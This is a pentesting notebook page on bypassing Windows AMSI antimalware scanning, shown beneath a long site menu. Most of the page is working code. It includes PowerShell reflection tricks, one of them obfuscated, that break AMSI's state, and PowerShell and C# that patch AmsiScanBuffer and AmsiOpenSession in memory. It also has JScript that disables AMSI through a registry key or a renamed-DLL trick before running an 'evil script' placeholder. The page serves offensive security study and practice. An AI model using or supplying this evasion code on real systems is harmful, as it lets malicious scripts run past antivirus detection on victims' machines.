Pentester's Promiscuous Notebook
TwitterGitHubBlog
  • README
  • ⚒️Pentest
    • C2
      • Covenant
      • Empire
      • Havoc
      • Meterpreter
      • PoshC2
      • Sliver
    • Infrastructure
      • AD
        • ACL Abuse
        • AD CS Abuse
          • dNSHostName Spoofing (Certifried)
          • ESC1
          • ESC4
          • ESC8
          • ESC15
          • Golden Certificate
          • Pass-the-Certificate
        • ADIDNS Abuse
        • Attack Trusts
        • Attack RODCs
        • AV / EDR Evasion
          • .NET Assembly
            • .NET Config Loader
            • .NET Dynamic API Invocation
            • .NET In-Memory Assembly
            • .NET Reflective Assembly
          • AMSI Bypass
          • Application Whitelist Bypass
          • AppLocker Bypass
          • BYOVD
          • CLM Bypass
          • Defender
          • ETW Block
          • Execution Policy Bypass
          • Mimikatz
          • UAC Bypass
        • Authentication Coercion
        • BadSuccessor
        • Credentials Harvesting
          • From Memory
            • lsass.exe
            • svchost.exe
          • Credential Phishing
          • DCSync
          • DPAPI
          • KeePass
          • Linux
          • LSA
          • NetSync
          • NPLogonNotify
          • NTDS
          • Password Filter
          • RDP
          • SAM
          • SSH Clients
          • SSPI
        • Discovery
        • DnsAdmins
        • Dominance
        • GPO Abuse
        • Kerberos
          • Delegation Abuse
            • Constrained
            • Resource-based Constrained
            • Unconstrained
          • Kerberos Relay
          • Roasting
        • Key Credentials Abuse
        • LAPS
        • Lateral Movement
          • DCOM
          • Overpass-the-Hash
          • Pass-the-Hash
          • Pass-the-Ticket
          • RDP
          • RPC
          • RunAs
          • SMB
          • SPN-jacking
          • WinRM / PSRemoting
          • WMI
        • LDAP
        • NTLM
          • NTLM Relay
          • NTLMv1 Downgrade
        • Password Spraying
        • Post Exploitation
        • Pre-created Computers Abuse
        • PrivExchange
        • Privileges Abuse
          • SeBackupPrivilege & SeRestorePrivilege
          • SeImpersonatePrivilege
            • Potatoes
            • PrintSpoofer
          • SeTrustedCredmanAccess
        • RID Cycling
        • SCCM Abuse
        • SMB
        • Token Manipulation
        • User Hunt
        • WSUS
        • Zerologon
      • Azure AD
        • On-Prem ↔ Cloud
          • Cloud → On-Prem
          • On-Prem → Cloud
        • PRT Abuse
      • DevOps
        • Ansible
        • Artifactory
        • Atlassian
        • Containerization / Orchestration
        • GitLab
        • HashiCorp Vault
        • Jenkins
        • VS Code
        • Zabbix
      • DBMS
        • FireBird
        • MS SQL
        • MySQL / MariaDB
        • Oracle
        • Redis
        • SQLite
      • Authentication Brute Force
      • File Transfer
      • IPMI
      • Kiosk Breakout
      • Low-Hanging Fruits
      • LPE
      • Networks
        • L2
          • ARP Spoofing
          • DHCPv6 Spoofing
          • LLMNR / NBNS Poisoning
          • SNACs Abuse
          • VLAN Hopping
        • NAC Bypass
        • Scanning
        • SIP / VoIP
        • Sniff Traffic
      • NFS
      • Persistence
      • Pivoting
      • Post Exploitation
      • SNMP
      • SSH
      • TFTP
      • VNC
    • OSINT
      • Shodan
    • Password Brute Force
      • Generate Wordlists
    • Perimeter
      • 1C
      • ADFS
      • Cisco
      • DNS
      • Exchange
      • Information Gathering
      • IPSec
      • Java RMI
      • Log4j / Log4Shell
      • Lync & Skype for Business
      • NTP
      • Outlook
      • OWA
      • SharePoint
      • SMTP
      • SSH
      • Subdomain Takeover
    • Shells
      • Reverse Shells
      • Web Shells
    • Web
      • 2FA Bypass
      • LFI / RFI
      • SOP / CORS
      • SQLi
      • WAF
      • WordPress
      • XSS
    • Wi-Fi
      • WPA / WPA2
        • Enterprise
        • Personal
  • ⚔️Red Team
    • Basics
    • Cobalt Strike
      • UDRL
    • Infrastructure
    • MalDev
      • API Hashing
      • API Hooking
      • BOF / COFF
      • CFG
      • Code Injection
        • DLL Injectors
        • Process Hollowing
        • Process Injectors
        • Shellcode Runners
      • DLL Hijacking
      • Golang
      • Kernel Mode
      • PIC / Shellcode
      • Nim
      • Sandbox Evasion
      • Syscalls
      • Windows API
    • SE
      • Phishing
        • HTML Smuggling
        • MS Office
        • Rogue RDP
  • 🐞Exploit Dev
    • BOF
      • OSCP BOF
      • OSED SEH Overflow
    • RE
    • WinDbg
  • ⚙️Admin
    • Git
    • Linux
      • Kali
    • Networking
      • DHCP Server & Linux Hotspot
      • Quick Configurations
      • Routing
      • WireGuard
    • Virtualization
      • Docker
      • Hyper-V
      • VirtualBox
      • VMWare
    • Windows
Powered by GitBook
On this page
  • Break the Logic
  • Wipe amsiContext
  • Set amsiInitFailed
  • Memory Patching
  • Patch AmsiScanBuffer
  • Patch AmsiOpenSession
  • Patch AMSI Provider
  • Registry & Filesystem
  • AmsiEnable Registry Key
  • Rename AMSI.dll
  • Hardware Breakpoints (Patchless Bypass)
  • Ghosting AMSI
  1. Pentest
  2. Infrastructure
  3. AD
  4. AV / EDR Evasion

AMSI Bypass

Antimalware Scan Interface

Last updated 18 days ago

AMSI Test :

PS > Invoke-Expression "AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386"

Break the Logic

Wipe amsiContext

amsiContext.ps1
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {if ($e.Name -like "*Context") {$f = $e}}
$g = $f.GetValue($null)
[IntPtr]$ptr = $g
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

Set amsiInitFailed

amsiInitFailed.ps1
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {if ($e.Name -like "*Failed") {$f = $e}}
$f.SetValue($null,$true)

Obfuscated:

amsiInitFailed-obf.ps1
$A="5492868772801748688168747280728187173688878280688776";$B="8281173680867656877679866880867644817687416876797271";function C($n, $m){[string]($n..$m|%{[char][int](29+($A+$B).substring(($_*2),2))})-replace " "};$k=C 0 37;$r=C 38 51;$a=[Ref].Assembly.GetType($k);$a.GetField($r,'NonPublic,Static').SetValue($null,$true)

Memory Patching

Patch AmsiScanBuffer

Re-implementing the method with reflective PowerShell:

amsiScanBuffer.ps1
function lookupFunc {
    Param ($moduleName, $funcName)

    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | ? { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp = @()
    $assem.GetMethods() | % {If($_.Name -eq 'GetProcAddress') {$tmp += $_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $funcName))
}

function getDelegateType {
    Param (
        [Parameter(Position=0, Mandatory=$True)][Type[]] $argsTypes,
        [Parameter(Position=1)][Type] $retType = [Void]
    )

    $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $argsTypes).SetImplementationFlags('Runtime, Managed')
    $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argsTypes).SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}

[IntPtr]$asb = lookupFunc amsi.dll ("Ams"+"iS"+"can"+"Buf"+"fer")
$oldProtect = 0
$vp = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($asb, [uint32]6, 0x40, [ref]$oldProtect)
$patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $asb, 6)
$vp.Invoke($asb, [uint32]6, 0x20, [ref]$oldProtect)

AmsiScanBuffer Usage Example

beforeAndAfterPatch.ps1
using System;
using System.Runtime.InteropServices;
using System.Text;

namespace ConsoleApp
{
    class Program
    {
        static IntPtr _amsiContext;
        static IntPtr _amsiSession;

        static void Main(string[] args)
        {
            uint result;

            // Initialize the AMSI API.
            result = AmsiInitialize("Demo App", out _amsiContext);

            // Opens a session within which multiple scan requests can be correlated.
            result = AmsiOpenSession(_amsiContext, out _amsiSession);

            // Test sample
            //var sample = Encoding.UTF8.GetBytes(@"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*");
            var sample = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");

            // Send sample to AMSI
            var amsiResult = ScanBuffer(sample);

            Console.WriteLine($"Before patch: {amsiResult}");

            var modules = Process.GetCurrentProcess().Modules;
            var hAmsi = IntPtr.Zero;

            foreach (ProcessModule module in modules)
            {
                if (module.ModuleName.Equals("amsi.dll"))
                {
                    hAmsi = module.BaseAddress;
                    break;
                }
            }

            var asb = GetProcAddress(hAmsi, "AmsiScanBuffer");

            var patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };

            // Make region writable (0x40 == PAGE_EXECUTE_READWRITE)
            VirtualProtect(asb, (UIntPtr)patch.Length, 0x40, out uint oldProtect);

            // Copy patch into asb region
            Marshal.Copy(patch, 0, asb, patch.Length);

            // Restore asb memory permissions
            VirtualProtect(asb, (UIntPtr)patch.Length, oldProtect, out uint _);

            // Scan same sample again
            amsiResult = ScanBuffer(sample); Console.WriteLine($"After patch: {amsiResult}");
        }

        static string ScanBuffer(byte[] sample)
        {
            var result = AmsiScanBuffer( _amsiContext, sample, (uint)sample.Length, "Demo Sample", ref _amsiSession, out uint amsiResult);
            return amsiResult >= 32768 ? "AMSI_RESULT_DETECTED" : "AMSI_RESULT_NOT_DETECTED";
        }

        [DllImport("kernel32.dll")]
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        [DllImport("kernel32.dll")]
        static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("amsi.dll")]
        static extern uint AmsiInitialize(string appName, out IntPtr amsiContext);

        [DllImport("amsi.dll")]
        static extern uint AmsiOpenSession(IntPtr amsiContext, out IntPtr amsiSession);

        // The antimalware provider may return a result between 1 and 32767, inclusive, as an estimated risk level.
        // The larger the result, the riskier it is to continue with the content.
        // Any return result equal to or larger than 32768 is considered malware, and the content should be blocked.
        [DllImport("amsi.dll")]
        static extern uint AmsiScanBuffer(IntPtr amsiContext, byte[] buffer, uint length, string contentName, ref IntPtr amsiSession, out uint scanResult);
    }
}

Patch AmsiOpenSession

amsiOpenSession.ps1
function lookupFunc {
    Param ($moduleName, $funcName)

    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | ? { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp = @()
    $assem.GetMethods() | % {If($_.Name -eq "GetProcAddress") {$tmp += $_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $funcName))
}

function getDelegateType {
    Param (
        [Parameter(Position=0, Mandatory=$True)][Type[]] $argsTypes,
        [Parameter(Position=1)][Type] $retType = [Void]
    )

    $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $argsTypes).SetImplementationFlags('Runtime, Managed')
    $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argsTypes).SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}

[IntPtr]$funcAddr = lookupFunc amsi.dll AmsiOpenSession
$oldProtection = 0
$vp = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32],[UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtection)
$buf = [Byte[]] (0x48, 0x31, 0xC0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)
$vp.Invoke($funcAddr, 3, 0x20, [ref]$oldProtection)

Patch AMSI Provider

$providers = Get-ChildItem "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" -Name
foreach ($p in $providers) { Get-ItemProperty "HKLM:\SOFTWARE\Classes\CLSID\$p\InprocServer32" }

Registry & Filesystem

AmsiEnable Registry Key

Set the HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable registry key to 0 and run the evil script:

regkey.js
var sh = new ActiveXObject('WScript.Shell');
var key = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable";
try {
	var AmsiEnable = sh.RegRead(key);
	if (AmsiEnable != 0) {
		throw new Error(1, '');
	}
} catch(e) {
	sh.RegWrite(key, 0, "REG_DWORD");
	sh.Run("cscript -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58}" + WScript.ScriptFullName, 0, 1);
	sh.RegWrite(key, 1, "REG_DWORD");
	WScript.Quit(1);
}

<EVIL_SCRIPT_CONTENTS>
...

Rename AMSI.dll

Copy C:\Windows\System32\wscript.exe binary to a different location and rename in to AMSI.dll in order to prevent loading the real AMSI.dll:

rename.js
var filesys= new ActiveXObject("Scripting.FileSystemObject");
var sh = new ActiveXObject('WScript.Shell');
try {
	if(filesys.FileExists("C:\\Windows\\Tasks\\AMSI.dll") == 0) {
		throw new Error(1, '');
	}
} catch(e) {
	filesys.CopyFile("C:\\Windows\\System32\\wscript.exe", "C:\\Windows\\Tasks\\AMSI.dll");
	sh.Exec("C:\\Windows\\Tasks\\AMSI.dll -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58}"+WScript.ScriptFullName);
	WScript.Quit(1);
}
<EVIL_SCRIPT_CONTENTS>
...

Hardware Breakpoints (Patchless Bypass)

Ghosting AMSI

By Matt Graeber :

List registered AMSI Providers (same as ):

⚒️
https://amsi.fail/
https://github.com/subat0mik/whoamsi
https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification/
https://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/
https://iwantmore.pizza/posts/amsi.html
https://fluidattacks.com/blog/amsi-bypass-python/
https://www.offsec.com/offsec/amsi-write-raid-0day-vulnerability/
Sample
in 2016
https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_12.ps1
https://github.com/Mr-Un1k0d3r/AMSI-ETW-Patch
https://www.blazeinfosec.com/post/tearing-amsi-with-3-bytes/
https://github.com/ZeroMemoryEx/Amsi-Killer
https://rastamouse.me/memory-patching-amsi-bypass/
https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/main/AmsiBypass.cs
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell#patching-amsidll-amsiscanbuffer-by-rasta-mouse
https://github.com/ShorSec/AMS-BP/blob/master/Source.cs
0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html
https://www.blackhat.com/asia-22/briefings/schedule/#amsi-unchained-review-of-known-amsi-bypass-techniques-and-introducing-a-new-one-26120
https://github.com/deepinstinct/AMSI-Unchained/blob/main/InitializationInterception.ps1
https://github.com/deepinstinct/AMSI-Unchained/blob/main/ScanInterception_x64.ps1
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell#patch-the-providers-dll-of-microsoft-mpoavdll
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell#scanning-interception
AMSIProviders
https://www.pavel.gr/blog/neutralising-amsi-system-wide-as-an-admin
https://ethicalchaos.dev/2022/04/17/in-process-patchless-amsi-bypass/
https://gist.github.com/CCob/fe3b63d80890fafeca982f76c8a3efdf
https://gist.github.com/susMdT/360c64c842583f8732cc1c98a60bfd9e
https://medium.com/@andreabocchetti88/ghosting-amsi-cutting-rpc-to-disarm-av-04c26d67bb80
https://github.com/andreisss/Ghosting-AMSI
https://github.com/cod3nym/Ghosting-AMSI